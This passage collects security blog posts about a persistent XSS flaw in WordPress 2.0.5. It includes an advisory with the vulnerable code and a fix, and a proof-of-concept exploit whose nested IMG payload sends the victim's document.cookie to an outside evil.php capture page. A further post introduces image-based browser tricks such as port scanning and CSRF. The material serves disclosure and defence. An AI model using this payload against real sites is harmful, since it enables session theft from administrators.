Operation n

Update: 16/01 see http://michaeldaw.org/projects/wpsec/

Its been a few days since the release of:
http://michaeldaw.org/md-hacks/wordpress-persistent-xss/.

Other references:

• http://www.securityfocus.com/bid/21782
• http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-6808

Time to release a proof of concept exploit for this. I am sure the crackers will already be exploiting this in the wild.

If you remember from my original advisory, our attack was limited due to our attack being passed through PHP’s basename function. To get around this we borrow the characters from document.location. I wanted an exploit that was simple and compact.

I created two HTML files to aid in my research, Injection.html and Recover.html.

First: Inject.html

This is our actual exploit (we use a nested IMG exploit):

<
        img src='https://wordpress-site/wp/wp-admin/templates.php?file=<
        img src=%27%27 onerror="javascript:
        var s=(document.location.toString().charAt(6));
        var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27);
        document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie">'
>

Second: Recover.php

If we mess up we may create an annoying, persistent redirect that prevents us access to the templates.php file. So this next HTML file simply resets our templates.php file using the same injection point.

<img src="https://wordpress-site/wp/wp-admin/templates.php?file=a">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=b">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=c">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=d">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=e">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=f">

Job done; all that is required is for an attacker to setup a file on a remote server to capture the cookies.

Conclusion

I hope this article “strongly” encourages WordPress users to apply the latest patch ASAP! Another attack vector I was thinking of was injecting PHP code straight into the WordPress Installation. I can see really bad worm potential with this vulnerability. I stress again, apply the patch.

pdp recently released, “Backdooring Images” where he discusses reasonably well-known but a relatively un-used technique whereby an attacker can store code in an image file.

The browser’s “trust” of imaging on the web is rather frightening and somewhat disturbing. This post discusses “hacking with images on the web”. Alot of the initial work in this post was done by pdp.

Introduction to Web Images

Images represent information in terms of dimensions, form and colour. Because of these characteristics, they are widely used in many rich graphical environments. As a part of the rich graphical environment family, the browser supports images at its base. Since the beginning of the modern browser, images have been widely used and of course abused.

First lets have a quick look how images are implemented in the browser context.

Images in the Browser

The browser supports many types of images. They are usually defined by IMG tags which are part of a number of graphical elements available in the SGML/HTML/XHTML families of markup languages.

IMG tags are very simple in nature so we are not going to spend much time on how to implement them. A simple example of an image tag is as follows:

<img src="http://localhost/test.jpg"/>

The example above simply loads test.jpg from localhost and shows it inside the current document.

Like many other elements in DOM, image tags support several special event methods:

Method - Description

• onAbort - triggers when the user aborts the download of an image
• onBlur - triggers when the user looses the focus an image
• onClick - triggers when the user clicks on the image
• onError - triggers when an error occures
• onFocus - triggers when the image receives focus
• onLoad - triggers when the image loads

These event methods are the core of user-image Interaction Design principles available in the browser.

Assigning events is as simple as creating a new attribute inside an image tag. For example:

<img src="http://localhost/test.jpg" onload="image_loads(this)"/>
<script>
function image_loads(img) {
alert(img.src);
}
</script>

The snippet above executes “image_loads” function as soon as the image starts loading. The result: An alert box showing the location of the image.

Creating images with IMG tags is quite straight forward but this method is for static content. Sometimes this is not the most desirable approach, especially when dealing with dynamic documents.

Loading images dynamically can be achieved in several ways; each one produces various degrees of flexibility. Probably the simplest way is to create an image element via the document DOM as follows:

var img = document.createElement('img');
img.src = 'http://localhost/test.jpg';
document.body.appendChild(img);

The code above dynamically creates an image inside the current document. Upon execution, the image will load as soon as the document body receives the new element as a child.

JavaScript is fairly flexible and as such allows us other methods of dynamically loading images. For example, an image can be loaded with the special “Image” object. This can be achieved with the following snippet of code.

var img = new Image();
img.src = 'http://localhost/test.jpg';
document.body.appendChild(img);

Note: This is the port scanning technique jssWebImage uses, which was originally taken from AttackAPI

The above-mentioned techniques are used differently: The first one will not load the content of the image unless it is included in the document structure via document.body.appendChild(img), the second uses the Image object to load the image regardless of the document structure.

It is the flexibility and “trust” that browser images provide that has allowed for some rather deviant behaviour.

To follow:

1. Port Surfing with Images
2. Server Fingerprinting
3. Firefox Extension Scanning
4. CSRF Attacks with Image objects

To be continued…

I have added a ‘Security News’ aka ‘SecNews’ menu to the left sidebar - for those getting sick of the RSS world. This bar has been implemented to keep track of some of the more interesting security web blogs. It is cached, so it shouldn’t affect your browsing experience.

There is space under ‘SecNews’; so if you feel like you have an interesting blog, please let me know and it can be added to the list.

Site note: I may add an auto summary post of these blogs; however, debating this as it may be deemed splogging. I think this facility may be useful…

As usual please report any bugs.

Vulnerability Title: WordPress Persistent XSS
Author: David Kierznowski
Homepage: http://michaeldaw.org
Software Vendor: WordPress Persistent XSS
Versions affected: Confirmed in v2.0.5 (latest)

WordPress is a popular open source blogging software.
A persistent XSS vulnerability has been found in WordPress (to be honest I have found a few problems and hope to publish these soon). This issue affects the latest version v2.0.5.

Discussion:
When editing files a shortcut is created titled ‘recently accessed files’. The anchor tag text is correctly escaped with wp_specialchars(); however, the link title is not sanitised. Instead, it is passed to get_file_description($file). The only restriction or limitation here is that our text is passed through basename. This means standard script tags will fail when ending with ‘/’. We can get around this by using “open” IMG tags; this works under FF and IE.

Vulnerable code:
wp-admin/templates.php:

[line 22]$recents = get_option('recently_edited');
[line 72]update_recently_edited($file);
[Line 116]:foreach ($recents as $recent) :
        echo "<li><a href='templates.php?file="
          . wp_specialchars($recent, true) . "'>"
          . get_file_description(basename($recent))
          . "</a></li>";

Vulnerable function:

function get_file_description($file) {
        global $wp_file_descriptions;

        if (isset ($wp_file_descriptions[basename($file)])) {
                return $wp_file_descriptions[basename($file)];
        }
        elseif (file_exists(ABSPATH.$file)) {
                $template_data = implode('', file(ABSPATH.$file));
                if (preg_match("|Template Name:(.*)|i",
                   $template_data, $name))
                        return $name[1];
        }
        return basename($file);
}

Proof of concept:

https://blogsite/wp/wp-admin/templates.php?file=%3Cimg%20src=''
           onerror=javascript:alert(document.cookie);%3E

Temp Fix:
Comment out the following line in wp-admin/templates.php
[Line 72] update_recently_edited($file);

WordPress was contacted: 26/12/06 22:04 BST
Reply received: 27/12/06 06:11 BST
WordPress has fixed this for v2.0.6 and a patch has been released
for v2.0.5, see
http://trac.wordpress.org/changeset/4665

Its been a big year for michaeldaw.org (MDO). I started off this blog in August; something I have been wanting to do on and off for ages now. It grew from 0 readers to just shy of 1000 regular readers in 4 months.

MDO’s “Backdooring PDF Files” article has been featured on Slashdot and eWeek. We also made Jeremiah Grossman’s Top Ten Web Hacking of 2006 list.

A big shout out and thank you to all who have commented, shared thoughts and offered words of encouragement. This blog has taken up alot of my time; I have loved “almost” every minute of it. I want to give a particular thank you to my angel wife who has supported me in it all, often reminding me that sleep is a requirement not an option.

The following pages is in an attempt to give order to work done in 2006:
“MD’s Projects” and
“MD’s Vuls